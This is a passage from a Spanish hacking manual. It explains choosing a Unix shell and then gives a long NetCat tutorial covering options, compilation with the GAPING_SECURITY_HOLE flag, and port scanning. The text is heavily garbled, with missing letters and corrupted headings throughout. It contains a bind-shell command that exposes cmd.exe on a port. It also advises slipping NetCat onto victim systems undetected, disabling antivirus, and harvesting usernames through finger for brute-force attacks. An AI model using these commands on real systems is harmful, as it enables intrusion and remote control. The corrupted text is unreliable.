Por qu es mportante saber qu she tenemos? Por ahora, queremos una she que sea fc de usar.
Por e|empo, cuando cometemos un error a tecear, es bueno poder usar a teca de retroceso y no
ver _,_,_, en a pantaa de montor. Pero ms adeante, para e|ecutar expots de hacker de te,
a she C puede ser de ms utdad. Afortunadamente, no estamos obgados a usar sempre a she
que tenamos en e momento de reazar e ogn. S a cuenta she es de certa cadad, podremos
escoger una nueva she.
La she que resuta ms fac de usar es a bash. Podemos obtener a cuenta she bash smpemente
con tecear a paabra "bash" en a nea de comandos. S esto no funcona, podemos preguntar a
soporte tecnco de nuestra ISP cmo confgurar a cuenta para usar bash. Un bro exceente sobre e
uso de a she Bash es Learnng the Bash She, de Cameron Newham y B Rosenbatt.
S queremos averguar de qu otras shes dsponemos, podemos probar con tecear en a consoa de
comandos: "csh" para a she C; "ksh" para a she Korn, "sh" para a she Bourne, "tcsh" para a she
Tcsh, y "zsh" para a she Zsh. S no exsten, recbremos como respuesta "command not found."
Ahora que hemos escogdo nuestra she, o sguente es exporar. Debemos saber de qu rquezas
nos permte dsfrutar nuestra ISP. Para esto necestamos aprender os comandos UNIX y os
programas auxares ms mportantes. Vase e captuo sobre UNIX y Lnux.
Las Dez herramentas ms famosas segn Mene para exporar a cuenta she
-$ man <comando>
Este comando nos muestra e manua de os programas u otros comandos en pantaa.
-$ s
Lsta archvos. Con as opcones 5al! se nos permtr ver a sta de archvos con mayor nformacn.
S es una sta de archvos grande podemos usar e comando ls 5al!Wmore.
-$ pwd
Muestra en qu drectoro estamos.
-$ cd <drectoro>
Va a drectoro ndcado. Agunos drectoros nteresantes son /usr, /bn y /etc.
-$ more <nombre de archvo>
Muestra e contendo de un archvo de texto. Tambn podemos usar "ess" y "cat", que son smares.
-$ wheres <nombre de programa>
Encuentra programas o archvos. Es smar a os comandos "fnd" y "ocate".
-$ v
Un compcado programa de edcn.
-$ grep
Extrae nformacn de archvos, especamente ut para ver qu hay en archvos de sysog y de og de
a she. Comandos smares son "egrep," "fgrep," y "ook."
-$ chmod <nombre de archvo>
Camba os permsos de un archvo.
rm <nombre de archvo>
Borra un archvo. S se encuentra este comando, tambn deberan estar "cp" para copar archvos, y
"mv" para moveros.
173
Introduccn a NetCat
Netat es una utera para Lnux y Wnxx que fue escrta orgnamente para sstemas Unx, Berkeey
y System V. Ha sdo amada a Nava|a Mtar Suza mutusos en vrtud de a gran versatdad y
potenca contenda en tan mnmo espaco y con tan poco cdgo. NetCat es a gran ,erramienta
mprescndbe en e mundo de a segurdad nformtca. Es anoga a a ganza de ratero. Entender
esta utera es amara dcen agunos. NetCat ha sdo a estrea prncpa en centos de ataques. E
verdadero secreto de su poder radca en e buen mane|o que se e d.
En un prncpo, NetCat fue hecho con a fnadad de servr de ayuda a os admnstradores de redes y
fue programado en C. En su gran sencez es una obra maestra de mpecabe funconadad y pesa
tan soo unos cuantos kobytes y es aqu donde e conocdo aforsma de que no hay enemgo
pequeo se hace verdad. Su dmnuto tamao o hace dea para ser ntroducdo en sstemas vctmas
sn hacer arrancar aarmas de penetracn de sstema. Fue contrabandeado para usarse en Wn95,
Wn98, WnXP y NT por Wed Pond de L0pht. Lo curoso es que Wed e am NetCat 1.0.
S a aguen hay que dare as gracas por tan fna herramenta de traba|o, ese es Hobbt quen o sac
a a uz pbca en 1995 y en marzo de 1996 ber a versn 1.10 que no se ha modfcado desde esa
vez. A pesar de que tene 13 aos crcuando por e mundo de os hackers, es e tpo de herramenta
que quenes o empean van aprendendendo sobre a marcha sus funcones y utdades y es por esa
razn que exsten muy pocos documentos escrtos acerca de su uso, prncpamente porque a
estructura de sus comandos y opcones es poco famar para e usuaro medo. NetCat tene nfndad
de funcones. En e archvo de ayuda se haan agunos e|empos muy eementaes soamente. NetCat
es penamente compatbe con POSIX y exsten varas mpementacones, ncuyendo una reescrtura
desde cero conocda como GNU NetCat, que es mantenda por Govann Gacobb en su pgna web.
Ahora ben, s se estudan detaadamente as varabes, e aura de mstero que rodea a NetCat
desaparece. Posterormente vene a parte de a magnacn; Oue otras funcones e podemos
asgnar? Oue ms podra hacer? E hackng no es ms que probar nuevas posbdades, utzando e
ngeno, os conocmentos acumuados y una doss bastante fuerte de magnacn.
NetCat no es un programa que pueda ser usado por cuaquer persona. Es como a pstoa de un
poca, e bstur de un cru|ano o a rega de un arqutecto. La naturaeza de os comandos utzados,
dfcmente ser entendda por amers o ntos advenedzos que n squera saben o que queren en
a vda.
En agunos sstemas, exsten versones modfcadas o uteras smares que tenen por nombres de
comando nc, ncat, pnetcat, socat, sock, socket, sbd.
0ocat es ms compe|o que NetCat. Es ms grande y ms fexbe y tene ms opcones que deben
ser confguradas para una efectuar una determnada tarea.
r)&tcat es una versn de NetCat de transporte ntegrado con capacdades de encrptacn.
Descri&ci'n ) !unciones
Son muchas as funcones que e programta posee, y s se ba|a e cdgo fuente puede ser compado
para agregare otras funconadades especaes. E cdgo fuente es bre y cuaquera o puede
manpuar sn ovdar dar e crdto a su creador. Hay muchos ugares donde se puede descargar.
Una de as mayores venta|as de NetCat es que permte a usuaro que averge sus secretos ms
ntmos.
NetCat puede eer y escrbr datos a travs de conexones de red utzando e protocoo TCP o e
protocoo UDP. Est dseado para ser una herramenta "de atrs" confabe que puede ser usada
drectamente o con sotura propusada por otros programas y puede ncurse dentro de scrpts SH (en
Unx) o batch (en ms-dos).
174
A msmo tempo, es una sustancosa utera de correccn de errores de red y de exporacn dado
que puede crear cas cuaquer case de conexn que se necestara y posee adems varas
capacdades nteresantes ncorporadas. NetCat debera haber sado desde hace mucho tempo como
otra de esas herramentas crptcas, pero estndar, de Unx.
NetCat puede abrr puertos y enazar en eos a cuaquer programa. As como un hacker puede usar
este programa, uno tambn debe saber cmo defenderse de sus embates. Agunos antvrus
detectan a NetCat como s fuera un troyano y para traba|ar con deben ser desactvados prmero.
En su uso ms smpe, NetCat crea una conexn TCP para e puerto dado en e host banco dado. Los
datos son uego envados a host, y cuaquer cosa que regrese a travs de a conexn, se enva a
nuestra sada estndar. Esto contna de modo ndefndo hasta que e ado de a red donde est a
conexn suspende operacones. Es de notarse que este comportamento es dferente de a mayora
de as otras apcacones que cerran todo y saen despus de encontrar un fn de archvo en a
entrada de datos estndar.
NetCat tambn puede funconar como un servdor, escuchando conexones de entrada en puertos
arbtraros y uego hacendo as msmas ecturas y escrturas. Con mtacones menores, a NetCat
reamente no e mporta s corre en modo "cente" o "servdor" - todava paea datos de ac para a
hasta que no quede nada ms. En cuaquer modadad, e cerre puede ser obtendo a a fuerza
despus de un tempo y puede confgurarse de nactvdad en e ado de a red.
Y puede hacer esto por a va de protocoo UDP tambn, as NetCat es posbemente a apcacn
"UDP tpo tenet" soada para probar servdores de Modo-UDP.
Por-u( no usar Telnet sim&lemente?
Tenet tene e probema de fin de archivo de ntroduccn de datos estndar, a ta grado que uno
debe ntroducr retrasos cacuados en scrpts controantes a fn de permtr que a nformacn de
sada de a red concuya. sta es a razn prncpa por a que NetCat permanece operando hasta
que e ado de a red se cerra.
Tenet no transferr datos bnaros arbtraros porque certos caracteres son nterpretados como
opcones de tenet y son removdos de rauda de datos. Tenet tambn emte una certa cantdad de
sus mensa|es dagnstcos haca a sada estndar, donde NetCat mantenen taes cosas separadas
regosamente de su sada y nunca modfcar nnguno de os datos reaes en trnsto a menos que
e usuaro reamente o desee. Y por supuesto que tenet es ncapaz de escuchar conexones de
entrada, o usar e protocoo UDP en su ugar. NetCat no tene nnguna de estas mtacones, es ms
pequeo, ms rpdo que tenet y tene muchas otras venta|as.
La especadad de NetCat es e Protocoo TCP/IP, y a versn para Wndows e da a a mquna certo
poder sobre este protocoo que soo tena UNIX. Traba|a con neas de comandos desde MS-DOS (o
desde e She de Lnux), y segn parece, puede hacer cas cuaquer cosa sobre TCP/IP.
En resumen, NetCat proporcona un subsstema de conexn a red bsco basado en TCP/UDP que
permte a os usuaros nteractuar en forma norma o medante secuencas de comandos con
apcacones de red y servcos sobre a capa de apcacn. Nos permtr ver datos TCP y UDP en
bruto antes de que sean recubertos por a sguente capa superor, ta como FTP, SMTP, o HTTP.
1ersiones
NetCat puede ser descargado en versn para Lnux (Sobresaente e nme|orabe in e4tremis, es a
me|or versn) y para WnNT (smpemente pasabe). Esta versn (Netat 343NT>, funcona cas
perfectamente en Wn 95/98 Wn98SE y WnXP, excepto que as conexones que recba no sern muy
estabes.
175
,abilidades b6sicas de Netat
-Conexones haca o desde e exteror, usando UDP o TCP, haca o desde cuaquer puerto.
-Verfcacn de DNS norma o en reversa, con as advertencas correspondentes
-Uso de cuaquer puerto oca
-Uso de cuaquer dreccn a a que se tenga acceso en a red oca
-Habdad de rastrear puertos, ncuso de manera aeatora
-Capacdad de decdr que camno tomarn os paquetes envados, a modo de "encamnaros", o que
se conoce como source'routin*.
-Puede procesar comandos de programas, de scrpts, y de usuaro.
-Capaz de envar datos en modo de transmsn enta, una nea cada N segs
-Montoreo y presentacn, en modo hexadecma, de datos transmtdos y recbdos
-Capacdad de de|ar que otro programa mane|e conexones ya estabecdas
-Opconamente responde a opcones caracterstcas de tenet
-Creacn de nuevas herramentas, basndonos en os servcos de NetCat.
El Lado Oscuro
NetCat tene su beeza en a smpcdad y funconadad con que fue creado. Habar de os usos que
una persona conocedora e puede dar a esta utera es como tratar de descrbr todo o que podemos
hacer con nuestra nava|a mtar suza.
Un tempo equtatvo es merecdo aqu, dado que una herramenta tan verst como sta puede ser
t para cuaquer stuacn. Una persona puede usar una Vctornox para arregar e coche de otra
persona o para desarmaro, correcto? Una persona cuaquera, caramente puede usar una
herramenta como NetCat para atacar o defender sus frentes.
No trato de controar e punto de vsta soca de nade n ser gua mora de nada. NetCat smpemente
se construy como un mpemento. Sn tener en cuenta as ntencones turbas que aguen pudera
tener, e usuaro debe ser conscente de estas amenazas sobre os sstemas propos.
La prmera cosa que sata a a vsta es e uso de NetCat para escanear vunerabdades de servco
en a red de aguen. Archvos que contenen datos preconstrudos sean exporatoros o expotabes,
pueden ser amentados como entradas de datos estndar, ncuyendo argumentos de nea de
comandos a NetCat msmo. Mentras ms aeatoro sea e escaneo, ms dfc ser a deteccn por
humanos, detectores de scanners o ftrado dnmco.
Hobbt, e creador detrs de programa, consdera a os numerosos programas y scrpts que
acompaan a NetCat como cntas adhesvas "maskng tape". Estas cntas tenen, por supuesto, su
ado amabe, su ado oscuro y unen a unverso por competo. S NetCat puede consderarse un
ggantezco marto, podremos decr que exsten muchos protocoos de red que estn comenzando a
parecerse de manera repentna a cavos.
Dentro de este documento recopatoro se repasarn muchos de os fundamentos bscos y
avanzados acerca de buen uso de NetCat. Tambn, como ector y estudoso, ser necesaro por no
decr mperatvo, que se e de una eda ms tarde a os e|empos de uso y notas ncudos que
pueden dar ms deas acerca de o buena que es esta case de herramenta.
Dso Jeneral
E programa e|ecutabe (o e bnaro en Lnux) se ama "nc", que es e comando prncpa, con su
respectva varabe u opcn a ms puro esto Unx. La nea bsca de comandos para NetCat es
nc `o&cionesX +ost &uertos
donde +ost es a dreccn IP que se desea anazar y &uertos es o un determnado puerto o un
rango de puertos o una sere de puertos separados por espacos. As. se estabece una conexn TCP
a puerto especfcado, con e servdor especfcado.
176
Lo que se e ntroduzca a NetCat va standard nput (entrada estndar) va a ser drgdo a servdor; y
o que recba NetCat como respuesta ser drgdo a nosotros va standard output (sada estndar).
NetCat va a segur mandando datos que e ntroduzcamos, y recbendo datos de otro extremo de a
conexn hasta que esta se cerre.
NetCat tamben puede funconar como servdor. Escuchando ntentos de conexn a os puertos que
e|amos, y hacendo e msmo proceso de entrada y sada de datos. Se puede decr que a NetCat
funcona de a msma forma en modo de servdor que de modo de cente. Segur transmtendo y
recbendo datos hasta que ya no haya ms. En ambos modos, puede forzarse a desconexn a
confgurarse certo tempo de nactvdad de otro ado.
Esto o puede hacer tamben va UDP, as que NetCat puede consderarse un programa parecdo a
tenet que puede usarse para dagnostcar servdores que funconen en modo UDP. Caro que no se
puede confar en conexones UDP como con as que utucen TCP, certos sstemas pueden tener
probemas a transmtr cantdades grandes de datos,pero no de|a de ser t esta capacdad.
E uso de NetCat tene sus venta|as sobre e uso de tenet a conectarse a puertos arbtraros. Tenet
cerra a conexn cuando e usuaro o agun programa parece tomar contro medante a ntroduccn
de datos. Esto es evdente en scrpts, donde se necesta cacuar un tempo de espera para evtar que
tenet nterrupta a sada de datos. sta es a razon prncpa por a cua NetCat sgue actvo hasta
que e otro ado cerre a conexn. Tenet tampoco transmta nformacn bnara arbtrara, porque
certos caracteres son nterpretados como opcones de tenet, y sern removdas de a corrente de
datos. Tenet tamben transmte certos mensa|es de dagnostco que presenta en a pantaa |unto
con e resto de os datos; NetCat |amas meter sus propos mensa|es |unto con os datos transmtdos.
No modfcar a corrente de datos de nnguna manera, a menos que se e ndque o contraro. Tenet
no puede esperar conexones de exteror, n tampoco usar UDP en ugar de TCP. NetCat no tene
estas mtacones, es ms pequeo y veoz, y tene muchas ms venta|as.
Netat ) Programaci'n
Esta combnacn desencadena todo e poder de NetCat en su mxma expresn y eeganca.
Tratndose de una herramenta que funcona con neas de comandos, su ntegracn con un engua|e
de programacn e permte reazar una gran cantdad de tareas, y sus posbdades se van
descubrendo da a da con su ncusn en nuevos Scrpts y Expots.
Muchos ScrptKddes se senten frustrados y amargados porque muchos de os Scrpts y Expots que
ba|an perezosamente de a Internet smpemente no es funcona. Esto sucede prncpamente porque
no saben nterpretar e cdgo y por o tanto son ncapaces de efectuar as modfcacones necesaras
para ncur breras, paths o utdades necesaras para su buen funconamento.
NetCat es exceente para mpementar expots remotos, permtendo envar e cdgo a cuaquer
puerto vunerabe con un senco comando, ogrando e|ecutar todas as ordenes necesaras para
expotar determnados servcos.
Varos expots que crcuan hoy en Internet, usan NetCat como "motor" para mane|ar as conexones,
s anazamos e cdgo de estos programas podemos observar un nc por ah, esto sgnfca que e
programa en cuestn necesta una versn correctamente compada de NetCat en e drectoro
/usr/bn.
Incusve, e programa Hex3 para a nvestgacn forense contra crmenes nformtcos, utza
dentro de sus herramentas nternas una versn geramente modfcada de NetCat.
177
Netat en .in
c:Vnc 5+
connect to
somewhere: nc `5o&tionsX +ostname &ort`sX `&ortsX ...
sten for nbound: nc 5l 5& &ort `o&tionsX `+ostnameX `&ortX
optons:
-d detach from consoe, steath mode
-e prog nbound program to exec |dangerous!!|
-g gateway source-routng hop pont|s|, up to 8
-G num source-routng ponter: 4, 8, 12, ...
-h ths cruft
- secs deay nterva for nes sent, ports scanned
- sten mode, for nbound connects
-L sten harder, re-sten on socket cose
-n numerc-ony IP addresses, no DNS
-o fe hex dump of traffc
-p port oca port number
-r randomze oca and remote ports
-s addr oca source address
-t answer TELNET negotaton
-u UDP mode
-v verbose |use twce to be more verbose|
-w secs tmeout for connects and fna net reads
-z zero-I/O mode |used for scannng|
port numbers can be ndvdua or ranges: m-n |ncusve|
d
(Modo Steath o encuberto) Con esta opcn e programa se desvncua de a consoa con o que se ogra traba|ar
en e en e fondo de sstema.
eU&rogV
(E|ecuta un programa cuando se conecta) Puede ser utzado para e|ecutar un She en cuaquer pataforma.
l
(Ee mnscua -Escuchando conexones, de Lsten) De|a aberto un puerto en espera de una conexn.
L
(o msmo que a anteror, pero sgue escuchando an cuando a conexn sea cerrada) Esta opcn est ncuda
soo en a versn de Wed Pond y es t para contnuar escuchando en e msmo puerto, a dferenca de 5l (que
a conexn cerrada termna con e proceso de nc).
n
(Dreccn numerca especfca; evta que se haga un D01 .ookup) NetCat tene a caracterstca de resover
nombres de domno medante un DNS Lookup, con esta opcn e especfcamos que no o haga, y use
soamente dreccones IP.
oUlog7ileV
(obtene un archvo og en Hex de a accn) Genera un Log de as actvdades de NetCat en cdgo Hexadecma.
&U&uertoV
(Puerto para pegarse) Agunas veces debes especfcare con sta opcn e puerto a reazar una accn.
sUi& addrV
(pegarse a un IP especfco) NetCat puede utzar a IP de una red como fuente oca.
t
(Funcona como un pequeo demono tenet) Con esta opcn NetCat reazar negocacones tenet.
178
u es&eci7icar DDP
(Utzar Protocoo UDP) Con esta opcn se e comunca a NetCat que traba|e con protocoo UDP en vez de TCP.
v
(modo verbose, ms nformacn, se e puede aadr otra 5v para ms nformacn todava) Bastante t y
necesaro, sobre todo para estudar demonos en profunddad y observar todos os detaes en un Snffng.
G UsegundosV
(Especfca un tempo para termnar) Con esta opcn se especfca un tempo determnado para reazar
conexones.
r
(Genera un Patron Ramdom (aeatoro) de puertos ocaes o remotos) Muy t para evtar patrones gcos de
Scannng.
g UgateGa)V
(Especfcar Gateways -pasareas) Una de as opcones ms nteresantes de NetCat, permte utzar routers como
"puentes" de conexn.
J Un9meroV
(Especfcar puntos de Routng), Con esta opcn podemos crear una cadena aeatora de hosts para crear un ruta
perdda para tus paquetes (Spoofng).
i UsegundosV
Especfca un ntervao de segundos entre puertos Scaneados.
Netat en Linux `v343RX
#$ nc 5+
Opcones:
-c she commands as `-e'; use /bn/sh to exec |dangerous!!|
-e fename program to exec after connect |dangerous!!|
-b aow broadcasts
-g gateway source-routng hop pont|s|, up to 8
-G num source-routng ponter: 4, 8, 12, ...
-h ths cruft
- secs deay nterva for nes sent, ports scanned
-k set keepave opton on socket
- sten mode, for nbound connects
-n numerc-ony IP addresses, no DNS
-o fe hex dump of traffc
-p port oca port number
-r randomze oca and remote ports
-q secs qut after EOF on stdn and deay of secs
-s addr oca source address
-t answer TELNET negotaton
-u UDP mode
-v verbose |use twce to be more verbose|
-w secs tmeout for connects and fna net reads
-x tos set Type Of Servce
-z zero-I/O mode |used for scannng|
port numbers can be ndvdua or ranges: o-h |ncusve|;
hyphens n port names must be backsash escaped (e.g. 'ftp\-data').
NOTA:
La versn para Wndows es muy parecda a a de Lnux, os e|empos de comandos se podrn usar en ambas
pataformas, excepto donde se ndque e uso de argumento 5L, que se ncuy soo en a versn para Wndows.
179
En una pataforma como Lnux, e NetCat se converte en una herramenta de verdadero gran poder
de accn y puede ser utzado con|untamente con engua|es de programacn como Per y C; aunque
a forma ms utzada es con a nea de comandos de a termna o consoa de comandos de Lnux
aprovechando os She Scrpts.
Muchas de as dstrbucones de Lnux, dentro de as que se ncuyen Red Hat, e Freespre y e
Ubuntu, traen ntegrada una versn ght de NetCat. Lamentabemente su utdad se ve muy
mtada y es anogo a tomar un caf descafenado. S o que se desea es aprovechar toda a
potenca de esta herramenta, entonces se deber descargar a versn competa de esta utera. E
programa para Lnux se puede descargar desde os sguentes stos:
avan.org:/src/hacks/nc110.tgz
ftp.sterng.com:/mrrors/avan.org/src/hacks/nc110.tgz
ftp.rge.com:/pub/securty/coast/mrrors/avan.org/netcat/nc110.tgz
om&ilaci'n
La compacn es bastante smpe. Examnamos e archvo <a*e7ile en busca de un SYSTYPE que
corresponda a nuestro y e|ecutamos un "make <systype>". E "nc" e|ecutabe debera surgr a a
vsta. S no hay seccn SYSTYPE pertnente, ntentaremos generc ("genrco"). S se crean
seccones nuevas para que generc.h y Makefe soporten otra pataforma, debemos segur e formato
dado y envar a Hobbt por correo as dferencas.
Hay un par de otros #defnes confgurabes en netcat4c, os cuaes podemos ncur como DFLAGS =
"- Desto - Daqueo" a nuestra nvocacn ma*e sn tener que edtar e archvo Makefe. Veamos os
sguentes argumentos para o que son y hacen.
S deseamos vncuar en contra de a brera de resovedor en SunOS (recomendabe) y tenemos
BIND 4.9.x, quz requerremos cambar e dato XLIBS=-resov en e Makefe a XLIBS = "-resov-
44bsd".
Lnux sys tme.h reamente no da apoyo a a preconfguracn de FD_SETSIZE; anzamos una
advertenca nofensva.
Agunos sstemas pueden advertr acerca de tpos de puntero para sgna ( ) . No es moesta, sn
embargo.
Enstalaci'n ) com&ilaci'n con extras:
Em&ortante
La versi'n de Netat &ara linux viene a &rueba de lamers ) advenedi/os4 Debe ser
com&ilado inclu)endo unos 7lags es&eciales &ara &oder obtener las o&ciones 5t ) 5e =Telnet
) Ja&ing 0ecurit) ,ole>4
La me|or manera de compar e programa es prmero ba|ando e .tar (tarba) de NetCat y
desempaquetndoo en e drectoro de tu preferenca. Lo me|or es crear un drectoro de descargas.
Nos ubcamos dentro de drectoro que asgnaste a NetCat y o compas con e comando <a*e
utzando as sguentes Fags:
make nux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE"
Copa e bnaro (nc) a drectoro 2usr2bin, de esta manera se podr usar e NetCat drectamente
nvocndoo desde cuaquer parte de She, adems de que pueden usarse os scrpts que uno cree
(o se consga en a red) sn probemas. En Freespre, por e|empo, es necesaro abrr e exporador
Konqueror en modo superusuaro para poder hacer e copado de archvo.
180
E empaquetado de NetCat trae unos scrpts muy nteresantes y ben comentados para que os
estudemos y poder comprender me|or su mpementacn en scrpts. Los scrpts estn en e msmo
drectoro donde se desempaquet e NetCat en 2scri&ts, os corremos como sempre: 42&robe (o e
scrpt que queras).
Otra manera de comparo es descomprmr e .tar nc33R4tg/, abrendo una termna en modo
SuperUsuaro y teceando en secuenca:
mkdr Netcat &&
tar -C netcat -xvzf nc110.tgz &&
cd netcat &&
mv netcat.c netcat.c- &&
sed -e 's/res_nt();/\/\* res_nt(); \*\//' <netcat.c- >netcat.c &&
mv Makefe Makefe- &&
sed -e 's/CFLAGS =/# CFLAGS =/' -e 's/\$(STATIC)//' <Makefe- >Makefe &&
make nux &&
cp nc /usr/bn
E prmer sed arrega un error pequeo, s no nos famos de podemos comentaro manuamente o
borrar a nea #312 de fchero netcat.c. La prmera parte de segundo sed habta a confguracn
de CFLAGS en tu entorno (comenta e -O mpcto), a segunda parte habta e enazado dnmco,
podemos de|aro como est s deseamos un bnaro esttco. Navegamos e drectoro para ms
nformacn sobre e uso de NetCat. Una referenca rpda en a nea de comandos est dsponbe
teceando
-$ man nc
Para ser sncero, yo prefero a prmera modadad de nstaacn coocando os Dfags para usar as
opcones 5e y 5t4
Dso del Netat
Para ustrar me|or como traba|amos con este programa, o me|or es observar agunos e|empos
prctcos y anazar su estructura para poder comprender me|or como funcona y as poder crear
nuestras propas apcacones.
Agunas de as cosas que podemos hacer con NetCat son:
Obtener un She rapdamente en una mquna remota usando a opcn 5l (Lsten) con|untamente
con a opcn 5e (e|ecutar). Cuando e programa corre con estas varabes y a conexn es reazada,
NetCat e|ecuta e programa eegdo y se conecta a stdn y stdout de programa en a conexn a a
red.
nc - -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe
Este comando de|ar a NetCat escuchando e Puerto 8K =telnet>, cuando es conectado a travs de
cente, e|ecutar un She (cmd.exe) , una consoa o ntrprete de comandos. La opcn 5t e dce a
NetCat que mane|e cuaquer negocacn que e cente pueda esperar.
181
S esta conexn es reazada desde una mquna NT, e she correr os permsos de proceso que
han generado a NetCat, as que hay que ser muy cauteosos.
La beeza de NetCat es que puede hacer o msmo en cual-uier puerto. Se puede de|ar a NetCat
escuchando en os puertos NETBIOS, que estn probabemente correndo en a mayora de as
mqunas NT, de esta manera podemos ograr una conexn a una mquna que est utzando
"Ftrado de Puertos" actvado en TCP/IP securty Network Contro Pane, NT no parece tener nnguna
segurdad arededor de cuaes puertos os programas de usuaros son permtdos amarrar, esto
quere decr en pocas paabras, e|ecutar comandos y programas que puedan unrse a os Puertos
NETBIOS.
Como anterormente se mencon, podemos utzar a NetCat para estudar dferentes puertos, con a
sguente sntaxs para Wndows:
c:\>nc -v <IP> <puerto>
(Se puede aadr otra 5v)
Uno de os puertos ms nteresantes a a hora de anazar un host, es e &uerto OQ =!inger>,
podemos obtener nombres de usuaros e nformacn muy t a a hora de panear un "Brute-Force
Attack", este comando de NetCat muestra a fexbdad de programa en cuestn, dando una dea de
sus posbdades:
c:\>nc -v <host> 79 < user.txt > og.txt
Este comando ndcar a NetCat que se conecte en modo verbose a Host predetermnado en e
puerto 79 (Fnger) y enve e contendo de archvo user.txt, a respuesta de servco ser guardada en
e archvo og.txt. (No o he probado con una posbe sta de nombre de usuaros a azar).
S no se e da nngun argumento, NetCat os pedr, eer o que se e d y os separar nternamente.
Esto es t con certos tpos de scrpts, y su efecto secundaro es que no se podrn ver os procesos
que corra con e comando &s.
E argumento host puede ser a versn afanumrca o e IP numrco. S a opcn 5n es especfcada,
NetCat soo aceptar IP numercos, y no verfcar e DNS por nngun motvo.
S e argumento 5n no es especfcado, pero 5v s o est, NetCat har una verfcacn norma y en
reversa de host, y dar una advertenca s e IP y e nombre no concden. Esto toma un poco ms de
tempo, pero puede ser t. Aunque en ocasones aceera a conexn cuando queremos saber e
nombre de un IP y tamben conectarnos ah. S no se usa a 5v, NetCat har o que tenga que hacer
sencosamente, a menos que ocurra agun error.
En este respecto, una conexn rechazada no es consderada un error, a menos que se haya
especfcado un soo puerto.
E argumento 5G ndca a NetCat que deber esperar un tempo determnado de nactvdad antes de
cancear a conexn. Por e|empo, 5G K har que NetCat espere 3 segundos antes de ntentar
conexn con en otro puerto (o cancear a operacn competamente).
De hecho, esperar e nmero de segundos especfcados y s no recbe nada esperar nuevamente e
msmo tempo, por s as dudas, y entonces s cerrar a conexn. De esta manera, NetCat traba|a
con as conexones sn nuestra ntervencn, cerrndoas cuando e servdor a que nos conectemos
de|e de responder.
182
Usando e argumento 5u, NetCat abrr conexones con UDP en ugar de TCP. Aunque, estrctamente
habando, UDP es un protocoo sn conexn, NetCat mane|ar estas pseudo-conexones como
autntcas conexones UDP para compatbdad con e kerne de sstema operatvo.
Aunque NetCat ndcar que una conexn UDP se ha estabecdo nmedatamente (y de hecho
sempre o hace con cuaquer tpo de conexn), nngun tpo de datos ser envado hasta que e
ntroduzcamos ago va standard nput. So entonces se podr saber s hay un servdor UDP de otro
ado. Y an as puede no responder, y o que hay que hacer es esperar a respuesta un tempo
determnado, y rezare a dos de su preferenca. Se sacar ms provecho de as cone4iones UDP s e
standard nput a NetCat se aseme|a a datos que socten servcos a servdor.
Para ver os datos envados y recbdos, en modo hexadecma, debe usarse e argumento 5o, e
ndcar un archvo que contendr estos datos. Es decr, 5o arc+ivoZdeZdatos.
En este archvo pueden observarse os smboos "V" y "U" a prncpo de cada nea. ">" ndca datos
que fueron envados por nosotros y "<" ndca os que fueron recbdos. Cada nea contene
representacones hexadecma y asc de os datos envados y recbdos. E uso de esta opcn no es
recomendabe en caso de que a veocdad sea un factor crtco, puesto que esto hace un poco ms
ento e proceso.
NetCat aprovecha cuaquer puerto oca para a transmsn de datos, sempre y cuando no est en
uso o e acceso a ese puerto no se encuentre restrngdo. Esto se ogra con e argumento 5&
n9mZ&uerto. E admnstrador de sstema, puede usar cuaquer puerto restrngdo, es decr <1024.
S no se especfca un puerto desde donde conectarnos, se usar cuaquera que asgne e sstema; a
menos que se especfque e argumento 5r en ugar de 5&, o que ndcara que se usen puertos
ocaes a azar (e ncuso puertos remotos a azar).
Tamben puede usarse cuaquer IP de nuestra red oca, s es que pertenece a un dspostvo
(computadora o o que sea) servdo por nuestra mquna. Esto no funcona ben en agunas
pataformas.
En modo de servdor, NetCat esperar ntentos de conexn de exteror. Para entrar en este modo se
usa e argumento 5l, y opconamente se especfcar un puerto oca a que puedan conectarse de
exteror. En modo UDP forzosamente hay que especfcar este puerto, mentras que en modo TCP
podemos de|ar que e sstema asgne e puerto oca, y s tenemos e argumento 5v nos dr que
puerto eg para nosotros (Caro que a mayora de as veces seguramente vamos a querer
especfcar e puerto nosotros msmos)
Incusve podemos agregar e argumento host remoto y, opconamente, e puerto fuente remoto. De
esta manera, NetCat soo aceptar conexones provenentes de ese host y, opconamente, de ese
puerto. De cuaquer modo, s agregamos e argumento 5v NetCat nos nformar de a conexn
estabecda, de que que host es, y de que puerto remoto se est conectando.
S NetCat fue compado con 5DJAPENJZ0EDBETTZ,OLE, e argumento 5e especfcar e programa
a e|ecutar una vez hecha o recbda una conexn. En modo de servdor, funcona como netd, pero
para una soa conexn. Funcona con TCP y UDP. E argumento -e soo puede r segudo de nombre
de un programa sn argumentos. Para eso se puede escrbr un scrpt aparte, que corra dcho
programa con os argumentos necesaros, o usar netd de pano. Por razones de segurdad no se
encuentra habtado. Como admnstradores de sstema, en especa, no debern de|ar un puerto
aberto que otorgue acceso a una she.
S NetCat fue compado con 5DTELNET, e argumento 5t e da a capacdad de conectarse a tenetd y
pasar por encma de as negocacones premnares y recbr e "prompt ogn:" drectamente. Como
esto podra hacer cambos a a corrente de datos, no est habtado por defaut.
183
Como nota adcona, estas dos utmas opcones se ogran agregando o sguente a a seccn
PREDEFINES de Makefe como ya menconamos antes:
DFLAGS= -DGAPING_SECURITY_HOLE -DTELNET
Hay datos que, durante a conexn, son drgdos haca e standard output, eyendo y escrbendo
trozos de 8K. Datos ntroducdos va standard nput son procesados de a msma forma, pero con e
argumento 5i se pueden ntroducr os datos en ntervaos de tempo defndos, hacendo e proceso
ago ms ento. Esto o hace mandando seccones de 8K nea por nea.
Sn embargo, s e standard nput vene de nosotros, estos datos de por s os estamos mandando
nea por nea. Entonces e argumento 5i es mas ben aprovechado cuando NetCat est funconando
|unto con archvos de datos o programas y queremos cuantfcar os datos que envemos.
E escaneo de puertos (port scannng/probng) es una forma de ver o que hay a acance. E puerto o
puertos son defndos despus de host. Para rastrear un rango de puertos se separn e prmer
puerto y e utmo con un gun. E|empos:
Rastrear os puertos 20 hasta e 110:
nc -v -w 3 -z ocahost 21-110
nc -v -w 3 -z ocahost ftp-pop3
ste tmo e|empo no funconar con aqueos puertos que tengan un gun ncudo en su nombre,
como netbos-ssn. NetCat no puede nterpretar correctamente un rango como "ftp-netbos-ssn"; e
rango tendr que ser defndo numercamente, "20-139".
E argumento 5/, por certo, ndca a NetCat que haga un rastreo rpdo de puertos abertos, sn
mandar nformacn a as conexones TCP, y muy poca nformacn a as conexones UDP. Aqu podra
usarse e argumento 5i para poner un ntervao de tempo entre puerto y puerto.
La opcn 5/ no es un hafscan. E rastreo ser regstrado en os ogs. Esto es porque NetCat no fue
